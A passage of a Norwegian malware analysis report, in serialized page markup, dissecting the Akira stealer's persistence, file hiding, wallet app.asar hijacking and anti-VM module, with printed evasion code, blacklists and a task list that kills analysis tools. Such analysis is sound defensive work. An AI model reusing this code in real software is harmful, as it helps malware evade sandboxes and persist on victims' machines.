/f'\n",[1683,4501,4502],{"class":1685,"line":2062},[1683,4503,4504],{},"os.system(command)\n",[604,4506,4507,4514,4522],{},[607,4508,4509,973,4512],{},[540,4510,4511],{},"Path",[551,4513,1655],{},[607,4515,4516,973,4519,4521],{},[540,4517,4518],{},"Value name",[551,4520,1663],{}," (valgt for å virke harmløs)",[607,4523,4524,4527,4528],{},[540,4525,4526],{},"Payload path",": Vanligvis i ",[551,4529,4530],{},"AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\\\Updater.exe",[533,4532,4533,4534,4537],{},"Kommandoen skriver autorun-oppføringen stille via PowerShell eller et nativt ",[551,4535,4536],{},"os.system()","-kall.",[862,4539,4541],{"id":4540},"_723-skjuling-av-filen","7.2.3 Skjuling av filen",[533,4543,868],{},[533,4545,4546],{},"For å skjule binaryen ytterligere fra brukere og enkle AV-skanninger merkes filen med attributtene hidden og system:",[588,4548,4550],{"className":4490,"code":4549,"language":4492,"meta":594,"style":594},"subprocess.run([\"attrib\", \"+h\", \"+s\", destination_path])\n",[551,4551,4552],{"__ignoreMap":594},[1683,4553,4554],{"class":1685,"line":1686},[1683,4555,4549],{},[604,4557,4558,4564],{},[607,4559,4560,4563],{},[551,4561,4562],{},"+h",": Merker filen som skjult",[607,4565,4566,4569],{},[551,4567,4568],{},"+s",": Merker filen som en beskyttet systemfil",[533,4571,4572],{},"I praksis fjerner det filen fra vanlige visninger i Windows Utforsker og øker stealth.",[862,4574,4576],{"id":4575},"_724-reinfeksjonsteknikker","7.2.4 Reinfeksjonsteknikker",[533,4578,868],{},[533,4580,4581,4582,4584,4585,620,4588,4591],{},"Malwaren støtter selvreplikering og reinfeksjon gjennom Electron application hijacking. Konkret erstatter den arkivet ",[551,4583,1047],{}," i Electron-baserte desktop-wallets (for eksempel ",[540,4586,4587],{},"Exodus",[540,4589,4590],{},"Atomic Wallet",") for å kjøre skadelig JavaScript ved legitim appstart.",[533,4593,4594],{},"Logikken ser etter kjente stier til wallet-apper:",[588,4596,4598],{"className":4490,"code":4597,"language":4492,"meta":594,"style":594},"path = os.getenv(\"APPDATA\") + \"\\\\Exodus\\\\resources\\\\app.asar\"\n",[551,4599,4600],{"__ignoreMap":594},[1683,4601,4602],{"class":1685,"line":1686},[1683,4603,4597],{},[533,4605,4606,4607,4609],{},"Finnes målfilen, overskrives den med et våpengjort arkiv. Det sikrer persistence selv etter at ",[551,4608,574],{}," er fjernet manuelt.",[714,4611,4613,4614,1113],{"id":4612},"_73-anti-analyse-unnvikelse-klasse-vmprotect","7.3 Anti-analyse / unnvikelse (klasse: ",[551,4615,4616],{},"VmProtect",[533,4618,720],{},[862,4620,4622],{"id":4621},"_731-innledning","7.3.1 Innledning",[533,4624,868],{},[533,4626,4627,4628,4631,4632,4634],{},"I moderne malware-kampanjer er det avgjørende å unngå analyse i virtualiserte miljøer og sandbox-miljøer for å beholde stealth. ",[4629,4630,651],"em",{}," implementerer en omfattende modul for VM- og sandbox-deteksjon (",[551,4633,4616],{},") som aggressivt identifiserer analytikerkontrollerte miljøer og avbryter kjøringen der. Denne rapporten dissekerer hver enkelt deteksjonsteknikk, gjengir de eksakte kodeutdragene inkludert komplette blacklist-definisjoner, og beskriver analysemetodikken vi brukte.",[862,4636,4638],{"id":4637},"_732-oversikt","7.3.2 Oversikt",[533,4640,868],{},[533,4642,4643,4644,4646],{},"Klassen ",[551,4645,4616],{}," implementerer robust deteksjon av VM og sandbox for å avbryte kjøringen tidlig i analysemiljøer. Den støtter to deteksjonsnivåer:",[604,4648,4649,4655],{},[607,4650,4651,4654],{},[540,4652,4653],{},"Level 1",": Lette, raske sjekker",[607,4656,4657,4660],{},[540,4658,4659],{},"Level 2",": Grundige, omfattende sonderinger",[533,4662,4663,4664,4667,4668,4671,4672,4675],{},"Hvis ",[551,4665,4666],{},"VmProtect.isVM(level)"," returnerer ",[551,4669,4670],{},"True",", kaller malwaren ",[551,4673,4674],{},"sys.exit()"," og hindrer videre analyse.",[862,4677,4679],{"id":4678},"_733-deteksjonsnivåer","7.3.3 Deteksjonsnivåer",[533,4681,868],{},[1391,4683,4684,4685],{},"\n  ",[1407,4686,4687,4684,4697,4684,4707,4684,4716,4684,4725,4684,4735,4684,4744,4684,4753],{},[1397,4688,4689,4690,4689,4693,4689,4695,4684],{},"\n    ",[1400,4691,4692],{},"Feature",[1400,4694,4653],{},[1400,4696,4659],{},[1397,4698,4689,4699,4689,4702,4689,4705,4684],{},[1412,4700,4701],{},"HTTPSimulation",[1412,4703,4704],{},"✔️",[1412,4706,4704],{},[1397,4708,4689,4709,4689,4712,4689,4714,4684],{},[1412,4710,4711],{},"Computer-name blacklist",[1412,4713,4704],{},[1412,4715,4704],{},[1397,4717,4689,4718,4689,4721,4689,4723,4684],{},[1412,4719,4720],{},"User-account blacklist",[1412,4722,4704],{},[1412,4724,4704],{},[1397,4726,4689,4727,4689,4730,4689,4733,4684],{},[1412,4728,4729],{},"Hardware-UUID blacklist",[1412,4731,4732],{},"❌",[1412,4734,4704],{},[1397,4736,4689,4737,4689,4740,4689,4742,4684],{},[1412,4738,4739],{},"Public-hosting API check",[1412,4741,4732],{},[1412,4743,4704],{},[1397,4745,4689,4746,4689,4749,4689,4751,4684],{},[1412,4747,4748],{},"Registry & GPU hints",[1412,4750,4732],{},[1412,4752,4704],{},[1397,4754,4689,4755,4689,4758,4689,4760,4684],{},[1412,4756,4757],{},"Task-killing background",[1412,4759,4704],{},[1412,4761,4704],{},[827,4763],{"className":4764},[830,831],[862,4766,4768,4769,4771],{"id":4767},"_734-vmprotect-arkitektur","7.3.4 ",[551,4770,4616],{},"-arkitektur",[533,4773,868],{},[533,4775,4643,4776,4778],{},[551,4777,4616],{}," eksponerer følgende hovedmetoder:",[604,4780,4781,4788,4795,4802,4809,4816,4823,4830],{},[607,4782,4783],{},[540,4784,4785],{},[551,4786,4787],{},"checkUUID()",[607,4789,4790],{},[540,4791,4792],{},[551,4793,4794],{},"checkComputerName()",[607,4796,4797],{},[540,4798,4799],{},[551,4800,4801],{},"checkUsers()",[607,4803,4804],{},[540,4805,4806],{},[551,4807,4808],{},"checkHosting()",[607,4810,4811],{},[540,4812,4813],{},[551,4814,4815],{},"checkHTTPSimulation()",[607,4817,4818],{},[540,4819,4820],{},[551,4821,4822],{},"checkRegistry()",[607,4824,4825],{},[540,4826,4827],{},[551,4828,4829],{},"killTasks()",[607,4831,4832],{},[540,4833,4834],{},[551,4835,4836],{},"isVM(level)",[533,4838,4839,4840,4843],{},"Hver metode returnerer en boolsk verdi eller utfører unnvikelsessteg. Wrapperen ",[551,4841,4842],{},"isVM"," samler disse sjekkene ut fra nivået som er angitt.",[1391,4845,4684,4846],{},[1407,4847,4848,4684,4859,4684,4873,4684,4887,4684,4900,4684,4913,4684,4926,4684,4939,4684,4954],{},[1397,4849,4689,4850,4689,4853,4689,4856,4684],{},[1400,4851,4852],{},"Method",[1400,4854,4855],{},"Triggered By",[1400,4857,4858],{},"Description",[1397,4860,4689,4861,4689,4865,4689,4870,4684],{},[1412,4862,4863],{},[551,4864,4787],{},[1412,4866,4867],{},[551,4868,4869],{},"isVM(2)",[1412,4871,4872],{},"WMI UUID blacklist",[1397,4874,4689,4875,4689,4879,4689,4884,4684],{},[1412,4876,4877],{},[551,4878,4794],{},[1412,4880,4881],{},[551,4882,4883],{},"isVM(1,2)",[1412,4885,4886],{},"Environment hostname match",[1397,4888,4689,4889,4689,4893,4689,4897,4684],{},[1412,4890,4891],{},[551,4892,4801],{},[1412,4894,4895],{},[551,4896,4883],{},[1412,4898,4899],{},"Username blacklist",[1397,4901,4689,4902,4689,4906,4689,4910,4684],{},[1412,4903,4904],{},[551,4905,4808],{},[1412,4907,4908],{},[551,4909,4869],{},[1412,4911,4912],{},"IP hosting provider check via ip-api.com",[1397,4914,4689,4915,4689,4919,4689,4923,4684],{},[1412,4916,4917],{},[551,4918,4815],{},[1412,4920,4921],{},[551,4922,4883],{},[1412,4924,4925],{},"HTTPS interception detection",[1397,4927,4689,4928,4689,4932,4689,4936,4684],{},[1412,4929,4930],{},[551,4931,4822],{},[1412,4933,4934],{},[551,4935,4869],{},[1412,4937,4938],{},"Registry & GPU driver artifacts",[1397,4940,4689,4941,4689,4945,4689,4951,4684],{},[1412,4942,4943],{},[551,4944,4829],{},[1412,4946,4947,4950],{},[551,4948,4949],{},"isVM(...)"," spawn",[1412,4952,4953],{},"Terminates known analysis processes",[1397,4955,4689,4956,4689,4960,4689,4963,4684],{},[1412,4957,4958],{},[551,4959,4836],{},[1412,4961,4962],{},"init",[1412,4964,4965,4966,4968],{},"Aggregates checks and calls ",[551,4967,4829],{}," thread",[827,4970],{"className":4971},[830,831],[588,4973,4975],{"className":4490,"code":4974,"language":4492,"meta":594,"style":594},"@staticmethod\ndef isVM(level: int) -> bool:\n    # Always start background task-killer\n    Thread(target=VmProtect.killTasks, daemon=True).start()\n    if level == 1:\n        # Fast path: HTTPS, hostname & user\n        return (\n            VmProtect.checkHTTPSimulation()\n            or VmProtect.checkComputerName()\n            or VmProtect.checkUsers()\n        )\n    if level == 2:\n        # Deep scan: includes UUID, hosting, registry & GPU\n        try:\n            return (\n                VmProtect.checkHTTPSimulation()\n                or VmProtect.checkUUID()\n                or VmProtect.checkComputerName()\n                or VmProtect.checkUsers()\n                or VmProtect.checkHosting()\n                or VmProtect.checkRegistry()\n            )\n        except:\n            return False\n    return False\n",[551,4976,4977,4982,4987,4992,4997,5002,5007,5012,5017,5022,5027,5033,5039,5045,5051,5057,5063,5069,5075,5081,5087,5093,5099,5105,5111],{"__ignoreMap":594},[1683,4978,4979],{"class":1685,"line":1686},[1683,4980,4981],{},"@staticmethod\n",[1683,4983,4984],{"class":1685,"line":2062},[1683,4985,4986],{},"def isVM(level: int) -> bool:\n",[1683,4988,4989],{"class":1685,"line":2068},[1683,4990,4991],{},"    # Always start background task-killer\n",[1683,4993,4994],{"class":1685,"line":2074},[1683,4995,4996],{},"    Thread(target=VmProtect.killTasks, daemon=True).start()\n",[1683,4998,4999],{"class":1685,"line":2394},[1683,5000,5001],{},"    if level == 1:\n",[1683,5003,5004],{"class":1685,"line":2400},[1683,5005,5006],{},"        # Fast path: HTTPS, hostname & user\n",[1683,5008,5009],{"class":1685,"line":3058},[1683,5010,5011],{},"        return (\n",[1683,5013,5014],{"class":1685,"line":3854},[1683,5015,5016],{},"            VmProtect.checkHTTPSimulation()\n",[1683,5018,5019],{"class":1685,"line":3860},[1683,5020,5021],{},"            or VmProtect.checkComputerName()\n",[1683,5023,5024],{"class":1685,"line":4105},[1683,5025,5026],{},"            or VmProtect.checkUsers()\n",[1683,5028,5030],{"class":1685,"line":5029},11,[1683,5031,5032],{},"        )\n",[1683,5034,5036],{"class":1685,"line":5035},12,[1683,5037,5038],{},"    if level == 2:\n",[1683,5040,5042],{"class":1685,"line":5041},13,[1683,5043,5044],{},"        # Deep scan: includes UUID, hosting, registry & GPU\n",[1683,5046,5048],{"class":1685,"line":5047},14,[1683,5049,5050],{},"        try:\n",[1683,5052,5054],{"class":1685,"line":5053},15,[1683,5055,5056],{},"            return (\n",[1683,5058,5060],{"class":1685,"line":5059},16,[1683,5061,5062],{},"                VmProtect.checkHTTPSimulation()\n",[1683,5064,5066],{"class":1685,"line":5065},17,[1683,5067,5068],{},"                or VmProtect.checkUUID()\n",[1683,5070,5072],{"class":1685,"line":5071},18,[1683,5073,5074],{},"                or VmProtect.checkComputerName()\n",[1683,5076,5078],{"class":1685,"line":5077},19,[1683,5079,5080],{},"                or VmProtect.checkUsers()\n",[1683,5082,5084],{"class":1685,"line":5083},20,[1683,5085,5086],{},"                or VmProtect.checkHosting()\n",[1683,5088,5090],{"class":1685,"line":5089},21,[1683,5091,5092],{},"                or VmProtect.checkRegistry()\n",[1683,5094,5096],{"class":1685,"line":5095},22,[1683,5097,5098],{},"            )\n",[1683,5100,5102],{"class":1685,"line":5101},23,[1683,5103,5104],{},"        except:\n",[1683,5106,5108],{"class":1685,"line":5107},24,[1683,5109,5110],{},"            return False\n",[1683,5112,5114],{"class":1685,"line":5113},25,[1683,5115,5116],{},"    return False\n",[862,5118,5120],{"id":5119},"_735-uuid-sjekk-identifisering-av-virtuelle-maskiner-via-hardware-uuid","7.3.5 UUID-sjekk - identifisering av virtuelle maskiner via hardware-UUID",[533,5122,868],{},[533,5124,5125],{},"En vanlig taktikk i malware-unnvikelse er å ta fingeravtrykk av det underliggende maskinvaremiljøet. En av de tidligste identifikatorene som kan avsløre en virtuell maskin, er systemets UUID (Universally Unique Identifier). Virtualiseringsplattformer som VMware og VirtualBox genererer ofte forutsigbare eller gjenbrukte UUID-er, som malware kan bruke til å slutte seg til om den kjører i et virtualisert miljø eller en sandbox.",[588,5127,5129],{"className":4490,"code":5128,"language":4492,"meta":594,"style":594},"@staticmethod\ndef checkUUID() -> bool:\n    try:\n        raw = subprocess.run(\n            \"wmic csproduct get uuid\", shell=True,\n            capture_output=True\n        ).stdout.splitlines()[2].decode().strip()\n    except:\n        raw = \"\"\n    return raw in VmProtect.BLACKLISTED_UUIDS\n",[551,5130,5131,5135,5140,5145,5150,5155,5160,5165,5170,5175],{"__ignoreMap":594},[1683,5132,5133],{"class":1685,"line":1686},[1683,5134,4981],{},[1683,5136,5137],{"class":1685,"line":2062},[1683,5138,5139],{},"def checkUUID() -> bool:\n",[1683,5141,5142],{"class":1685,"line":2068},[1683,5143,5144],{},"    try:\n",[1683,5146,5147],{"class":1685,"line":2074},[1683,5148,5149],{},"        raw = subprocess.run(\n",[1683,5151,5152],{"class":1685,"line":2394},[1683,5153,5154],{},"            \"wmic csproduct get uuid\", shell=True,\n",[1683,5156,5157],{"class":1685,"line":2400},[1683,5158,5159],{},"            capture_output=True\n",[1683,5161,5162],{"class":1685,"line":3058},[1683,5163,5164],{},"        ).stdout.splitlines()[2].decode().strip()\n",[1683,5166,5167],{"class":1685,"line":3854},[1683,5168,5169],{},"    except:\n",[1683,5171,5172],{"class":1685,"line":3860},[1683,5173,5174],{},"        raw = \"\"\n",[1683,5176,5177],{"class":1685,"line":4105},[1683,5178,5179],{},"    return raw in VmProtect.BLACKLISTED_UUIDS\n",[533,5181,5182],{},"Denne sjekken bruker verktøyet Windows Management Instrumentation Command-line (WMIC) til å hente UUID-en til vertsmaskinen. Verdien som kommer tilbake, sammenlignes deretter med en kuratert liste over UUID-er som ofte knyttes til maler for virtuelle maskiner eller kjente analyseoppsett.",[862,5184,5186],{"id":5185},"_736-sjekk-av-datamaskinnavn-deteksjon-av-sandbox-og-analysemiljøer-via-hostname","7.3.6 Sjekk av datamaskinnavn - deteksjon av sandbox- og analysemiljøer via hostname",[533,5188,868],{},[533,5190,5191,5192,5195],{},"Systemets hostname, tilgjengelig via miljøvariabelen ",[551,5193,5194],{},"%COMPUTERNAME%",", avslører ofte spor av miljøet det står i. Analytikere bruker gjerne standardnavn eller raskt genererte hostnavn som \"DESKTOP-XXXXXXX\", \"WIN10ANALYSIS\" eller til og med navn knyttet til sine egne interne miljøer. Malware utnytter det ved å sammenligne systemets hostname mot en blacklist.",[588,5197,5199],{"className":4490,"code":5198,"language":4492,"meta":594,"style":594},"@staticmethod\ndef checkComputerName() -> bool:\n    name = os.getenv(\"computername\", \"\").lower()\n    return name in VmProtect.BLACKLISTED_COMPUTERNAMES\n\nBLACKLISTED_COMPUTERNAMES = (\n    '00900bc83802','bee7370c-8c0c-4','desktop-nakffmt',\n    'desktop-vkeons4','ntt-eff-2w11wss',\n    # ... dozens more entries ...\n)\n",[551,5200,5201,5205,5210,5215,5220,5224,5229,5234,5239,5244],{"__ignoreMap":594},[1683,5202,5203],{"class":1685,"line":1686},[1683,5204,4981],{},[1683,5206,5207],{"class":1685,"line":2062},[1683,5208,5209],{},"def checkComputerName() -> bool:\n",[1683,5211,5212],{"class":1685,"line":2068},[1683,5213,5214],{},"    name = os.getenv(\"computername\", \"\").lower()\n",[1683,5216,5217],{"class":1685,"line":2074},[1683,5218,5219],{},"    return name in VmProtect.BLACKLISTED_COMPUTERNAMES\n",[1683,5221,5222],{"class":1685,"line":2394},[1683,5223,3851],{"emptyLinePlaceholder":325},[1683,5225,5226],{"class":1685,"line":2400},[1683,5227,5228],{},"BLACKLISTED_COMPUTERNAMES = (\n",[1683,5230,5231],{"class":1685,"line":3058},[1683,5232,5233],{},"    '00900bc83802','bee7370c-8c0c-4','desktop-nakffmt',\n",[1683,5235,5236],{"class":1685,"line":3854},[1683,5237,5238],{},"    'desktop-vkeons4','ntt-eff-2w11wss',\n",[1683,5240,5241],{"class":1685,"line":3860},[1683,5242,5243],{},"    # ... dozens more entries ...\n",[1683,5245,5246],{"class":1685,"line":4105},[1683,5247,5248],{},")\n",[533,5250,5251],{},"Ved treff kan malwaren velge å avbryte kjøringen eller rulle ut en falsk payload, og slik unngå en fullstendig atferdsanalyse.",[862,5253,5255],{"id":5254},"_737-sjekk-av-brukerkonto-profilering-av-analytiker-og-standardkontoer","7.3.7 Sjekk av brukerkonto - profilering av analytiker- og standardkontoer",[533,5257,868],{},[533,5259,5260],{},"En annen heuristikk går på å vurdere brukernavnet malwaren kjører under. Mange maler for virtuelle maskiner og sandboxer gjenbruker vanlige brukernavn som \"Abby\", \"Test\" eller \"wdagutilityaccount\". Navnene har lav entropi og er ofte hardkodet i sandbox-miljøer med åpen kildekode.",[588,5262,5264],{"className":4490,"code":5263,"language":4492,"meta":594,"style":594},"@staticmethod\ndef checkUsers() -> bool:\n    user = os.getlogin().lower()\n    return user in VmProtect.BLACKLISTED_USERS\n\nBLACKLISTED_USERS = (\n    'wdagutilityaccount','abby','peter wilson','hmarc',\n    'a.monaldo','tvm',\n    # ... 30+ more entries ...\n)\n",[551,5265,5266,5270,5275,5280,5285,5289,5294,5299,5304,5309],{"__ignoreMap":594},[1683,5267,5268],{"class":1685,"line":1686},[1683,5269,4981],{},[1683,5271,5272],{"class":1685,"line":2062},[1683,5273,5274],{},"def checkUsers() -> bool:\n",[1683,5276,5277],{"class":1685,"line":2068},[1683,5278,5279],{},"    user = os.getlogin().lower()\n",[1683,5281,5282],{"class":1685,"line":2074},[1683,5283,5284],{},"    return user in VmProtect.BLACKLISTED_USERS\n",[1683,5286,5287],{"class":1685,"line":2394},[1683,5288,3851],{"emptyLinePlaceholder":325},[1683,5290,5291],{"class":1685,"line":2400},[1683,5292,5293],{},"BLACKLISTED_USERS = (\n",[1683,5295,5296],{"class":1685,"line":3058},[1683,5297,5298],{},"    'wdagutilityaccount','abby','peter wilson','hmarc',\n",[1683,5300,5301],{"class":1685,"line":3854},[1683,5302,5303],{},"    'a.monaldo','tvm',\n",[1683,5305,5306],{"class":1685,"line":3860},[1683,5307,5308],{},"    # ... 30+ more entries ...\n",[1683,5310,5311],{"class":1685,"line":4105},[1683,5312,5248],{},[533,5314,5315],{},"Denne sjekken forbedrer deteksjonen ved å se på brukerkonteksten, som kan forbli uendret selv gjennom omstarter eller snapshots av virtuelle maskiner.",[862,5317,5319],{"id":5318},"_738-hosting-sjekk-deteksjon-av-offentlig-skyinfrastruktur","7.3.8 Hosting-sjekk - deteksjon av offentlig skyinfrastruktur",[533,5321,868],{},[533,5323,5324,5325,5328],{},"En del malware bruker eksterne IP-etterretningstjenester til å verifisere om det infiserte systemet står i et kjent datasenter eller hos en kjent skyleverandør. Her gjøres en enkel HTTP-forespørsel til ",[551,5326,5327],{},"ip-api.com",", som spør om IP-adressen er flagget som \"hosting\".",[588,5330,5332],{"className":4490,"code":5331,"language":4492,"meta":594,"style":594},"@staticmethod\ndef checkHosting() -> bool:\n    http = PoolManager(cert_reqs=\"CERT_NONE\")\n    try:\n        return http.request(\n            'GET',\n            'http://ip-api.com/line/?fields=hosting'\n        ).data.decode().strip() == 'true'\n    except:\n        return False\n",[551,5333,5334,5338,5343,5348,5352,5357,5362,5367,5372,5376],{"__ignoreMap":594},[1683,5335,5336],{"class":1685,"line":1686},[1683,5337,4981],{},[1683,5339,5340],{"class":1685,"line":2062},[1683,5341,5342],{},"def checkHosting() -> bool:\n",[1683,5344,5345],{"class":1685,"line":2068},[1683,5346,5347],{},"    http = PoolManager(cert_reqs=\"CERT_NONE\")\n",[1683,5349,5350],{"class":1685,"line":2074},[1683,5351,5144],{},[1683,5353,5354],{"class":1685,"line":2394},[1683,5355,5356],{},"        return http.request(\n",[1683,5358,5359],{"class":1685,"line":2400},[1683,5360,5361],{},"            'GET',\n",[1683,5363,5364],{"class":1685,"line":3058},[1683,5365,5366],{},"            'http://ip-api.com/line/?fields=hosting'\n",[1683,5368,5369],{"class":1685,"line":3854},[1683,5370,5371],{},"        ).data.decode().strip() == 'true'\n",[1683,5373,5374],{"class":1685,"line":3860},[1683,5375,5169],{},[1683,5377,5378],{"class":1685,"line":4105},[1683,5379,5380],{},"        return False\n",[533,5382,5383],{},"Slik kan malwaren avgjøre om den kjører på infrastruktur som eies av Microsoft Azure, AWS, DigitalOcean og liknende, et faresignal om sandboxing.",[862,5385,5387],{"id":5386},"_739-https-simuleringssjekk-sondering-etter-ssl-interception","7.3.9 HTTPS-simuleringssjekk - sondering etter SSL-interception",[533,5389,868],{},[533,5391,5392,5393,5396],{},"For å identifisere miljøer med SSL-inspeksjon (vanlig i bedrifts- og forskningsnettverk) sender malwaren en harmløs HTTPS-forespørsel til et tilfeldig subdomene under ",[551,5394,5395],{},".in",". Feiler forbindelsen, på grunn av DNS-filtrering, interception-proxyer eller mislykket certificate pinning, kan det være et signal om at malwaren blir analysert.",[588,5398,5400],{"className":4490,"code":5399,"language":4492,"meta":594,"style":594},"@staticmethod\ndef checkHTTPSimulation() -> bool:\n    http = PoolManager(cert_reqs=\"CERT_NONE\", timeout=1.0)\n    try:\n        http.request('GET', f'https://blank-{Utils.GetRandomString()}.in')\n    except:\n        return False\n    return True\n",[551,5401,5402,5406,5411,5416,5420,5425,5429,5433],{"__ignoreMap":594},[1683,5403,5404],{"class":1685,"line":1686},[1683,5405,4981],{},[1683,5407,5408],{"class":1685,"line":2062},[1683,5409,5410],{},"def checkHTTPSimulation() -> bool:\n",[1683,5412,5413],{"class":1685,"line":2068},[1683,5414,5415],{},"    http = PoolManager(cert_reqs=\"CERT_NONE\", timeout=1.0)\n",[1683,5417,5418],{"class":1685,"line":2074},[1683,5419,5144],{},[1683,5421,5422],{"class":1685,"line":2394},[1683,5423,5424],{},"        http.request('GET', f'https://blank-{Utils.GetRandomString()}.in')\n",[1683,5426,5427],{"class":1685,"line":2400},[1683,5428,5169],{},[1683,5430,5431],{"class":1685,"line":3058},[1683,5432,5380],{},[1683,5434,5435],{"class":1685,"line":3854},[1683,5436,5437],{},"    return True\n",[533,5439,5440],{},"Denne subtile metoden tester integriteten i nettverksveien uten å utløse alarmer eller kreve egen infrastruktur.",[862,5442,5444],{"id":5443},"_7310-register-og-gpu-driversjekk-deteksjon-av-virtuelle-gpu-signaturer","7.3.10 Register- og GPU-driversjekk - deteksjon av virtuelle GPU-signaturer",[533,5446,868],{},[533,5448,5449,5450,5453],{},"Noen virtuelle miljøer avsløres av registernøkler eller deskriptorer for GPU-drivere. Akira bruker en dobbel strategi: den spør registeroppføringer knyttet til grafikkundersystemet, og undersøker separat utdataene fra ",[551,5451,5452],{},"wmic"," etter mistenkelige GPU-strenger.",[588,5455,5457],{"className":4490,"code":5456,"language":4492,"meta":594,"style":594},"@staticmethod\ndef checkRegistry() -> bool:\n    r1 = subprocess.run(\n        \"REG QUERY HKLM\\\\...\\\\0000\\\\DriverDesc 2\",\n        capture_output=True, shell=True)\n    r2 = subprocess.run(\n        \"REG QUERY HKLM\\\\...\\\\0000\\\\ProviderName 2\",\n        capture_output=True, shell=True)\n\n    # GPU name check\n    gpu_out = subprocess.run(\n        \"wmic path win32_VideoController get name\",\n        capture_output=True, shell=True).stdout.decode().splitlines()\n    gpucheck = any(x in gpu_out[2].lower()\n                   for x in (\"virtualbox\", \"vmware\"))\n    return (r1.returncode != 1 and r2.returncode != 1) or gpucheck\n",[551,5458,5459,5463,5468,5473,5478,5483,5488,5493,5497,5501,5506,5511,5516,5521,5526,5531],{"__ignoreMap":594},[1683,5460,5461],{"class":1685,"line":1686},[1683,5462,4981],{},[1683,5464,5465],{"class":1685,"line":2062},[1683,5466,5467],{},"def checkRegistry() -> bool:\n",[1683,5469,5470],{"class":1685,"line":2068},[1683,5471,5472],{},"    r1 = subprocess.run(\n",[1683,5474,5475],{"class":1685,"line":2074},[1683,5476,5477],{},"        \"REG QUERY HKLM\\\\...\\\\0000\\\\DriverDesc 2\",\n",[1683,5479,5480],{"class":1685,"line":2394},[1683,5481,5482],{},"        capture_output=True, shell=True)\n",[1683,5484,5485],{"class":1685,"line":2400},[1683,5486,5487],{},"    r2 = subprocess.run(\n",[1683,5489,5490],{"class":1685,"line":3058},[1683,5491,5492],{},"        \"REG QUERY HKLM\\\\...\\\\0000\\\\ProviderName 2\",\n",[1683,5494,5495],{"class":1685,"line":3854},[1683,5496,5482],{},[1683,5498,5499],{"class":1685,"line":3860},[1683,5500,3851],{"emptyLinePlaceholder":325},[1683,5502,5503],{"class":1685,"line":4105},[1683,5504,5505],{},"    # GPU name check\n",[1683,5507,5508],{"class":1685,"line":5029},[1683,5509,5510],{},"    gpu_out = subprocess.run(\n",[1683,5512,5513],{"class":1685,"line":5035},[1683,5514,5515],{},"        \"wmic path win32_VideoController get name\",\n",[1683,5517,5518],{"class":1685,"line":5041},[1683,5519,5520],{},"        capture_output=True, shell=True).stdout.decode().splitlines()\n",[1683,5522,5523],{"class":1685,"line":5047},[1683,5524,5525],{},"    gpucheck = any(x in gpu_out[2].lower()\n",[1683,5527,5528],{"class":1685,"line":5053},[1683,5529,5530],{},"                   for x in (\"virtualbox\", \"vmware\"))\n",[1683,5532,5533],{"class":1685,"line":5059},[1683,5534,5535],{},"    return (r1.returncode != 1 and r2.returncode != 1) or gpucheck\n",[533,5537,5538],{},"Disse sjekkene på maskinvarenivå er særlig effektive mot analyseoppsett som ikke maskerer virtualiserte skjermkort fullt ut.",[862,5540,5542],{"id":5541},"_7311-task-killing-undertrykking-av-analyseverktøy-i-sanntid","7.3.11 Task-killing - undertrykking av analyseverktøy i sanntid",[533,5544,868],{},[533,5546,5547],{},"I stedet for bare å unngå deteksjon passivt går Akira ett skritt videre og avslutter kjente analyse- og feilsøkingsverktøy aktivt. Den starter en bakgrunnstråd som itererer over en liste med prosesser og dreper hvert treff den finner.",[588,5549,5551],{"className":4490,"code":5550,"language":4492,"meta":594,"style":594},"@staticmethod\ndef killTasks() -> None:\n    Utils.TaskKill(*VmProtect.BLACKLISTED_TASKS)\n\nBLACKLISTED_TASKS = (\n  'wireshark','fiddler','ida64','x32dbg','vmtoolsd',\n  # ... dozens more ...\n  'glasswire','requestly'\n)\n",[551,5552,5553,5557,5562,5567,5571,5576,5581,5586,5591],{"__ignoreMap":594},[1683,5554,5555],{"class":1685,"line":1686},[1683,5556,4981],{},[1683,5558,5559],{"class":1685,"line":2062},[1683,5560,5561],{},"def killTasks() -> None:\n",[1683,5563,5564],{"class":1685,"line":2068},[1683,5565,5566],{},"    Utils.TaskKill(*VmProtect.BLACKLISTED_TASKS)\n",[1683,5568,5569],{"class":1685,"line":2074},[1683,5570,3851],{"emptyLinePlaceholder":325},[1683,5572,5573],{"class":1685,"line":2394},[1683,5574,5575],{},"BLACKLISTED_TASKS = (\n",[1683,5577,5578],{"class":1685,"line":2400},[1683,5579,5580],{},"  'wireshark','fiddler','ida64','x32dbg','vmtoolsd',\n",[1683,5582,5583],{"class":1685,"line":3058},[1683,5584,5585],{},"  # ... dozens more ...\n",[1683,5587,5588],{"class":1685,"line":3854},[1683,5589,5590],{},"  'glasswire','requestly'\n",[1683,5592,5593],{"class":1685,"line":3860},[1683,5594,5248],{},[533,5596,5597],{},"Disse verktøyene, som ofte brukes av incident responders og malware-analytikere, nøytraliseres før de får samlet inn meningsfulle atferdsartefakter.",[533,5599,5600],{},[540,5601,5602],{},"Summary",[533,5604,5605],{},"Akira bruker et gjennomarbeidet sett med anti-analyseteknikker som retter seg mot flere systemlag, fra miljøvariabler og registernøkler til nettverkssonderinger og tasklister. Mekanismene er laget for å oppdage og unngå både automatiserte sandboxer og manuelle inspeksjonsoppsett.",[533,5607,5608],{},"Kombinasjonen av passiv fingeravtrykking og aktiv undertrykking, som task killing, viser hvordan selv malware-familier i mellomsjiktet nå har unnvikelseslogikk i flere lag.",[862,5610,5612],{"id":5611},"_7312-komplette-blacklists-og-deteksjonsfunksjoner","7.3.12 Komplette blacklists og deteksjonsfunksjoner",[533,5614,868],{},[533,5616,5617],{},[540,5618,5619],{},"Blacklisted Hardware UUIDs",[588,5621,5624],{"className":5622,"code":5623,"language":593},[591],"BLACKLISTED_UUIDS = (\n    '7AB5C494-39F5-4941-9163-47F54D6D5016',\n    '032E02B4-0499-05C3-0806-3C0700080009',\n    '03DE0294-0480-05DE-1A06-350700080009',\n    '11111111-2222-3333-4444-555555555555',\n    '6F3CA5EC-BEC9-4A4D-8274-11168F640058',\n    'ADEEEE9E-EF0A-6B84-B14B-B83A54AFC548',\n    '4C4C4544-0050-3710-8058-CAC04F59344A',\n    '00000000-0000-0000-0000-AC1F6BD04972',\n    '00000000-0000-0000-0000-000000000000',\n    '5BD24D56-789F-8468-7CDC-CAA7222CC121',\n    '49434D53-0200-9065-2500-65902500E439',\n    '49434D53-0200-9036-2500-36902500F022',\n    '777D84B3-88D1-451C-93E4-D235177420A7',\n    '49434D53-0200-9036-2500-369025000C65',\n    'B1112042-52E8-E25B-3655-6A4F54155DBF',\n    '00000000-0000-0000-0000-AC1F6BD048FE',\n    'EB16924B-FB6D-4FA1-8666-17B91F62FB37',\n    'A15A930C-8251-9645-AF63-E45AD728C20C',\n    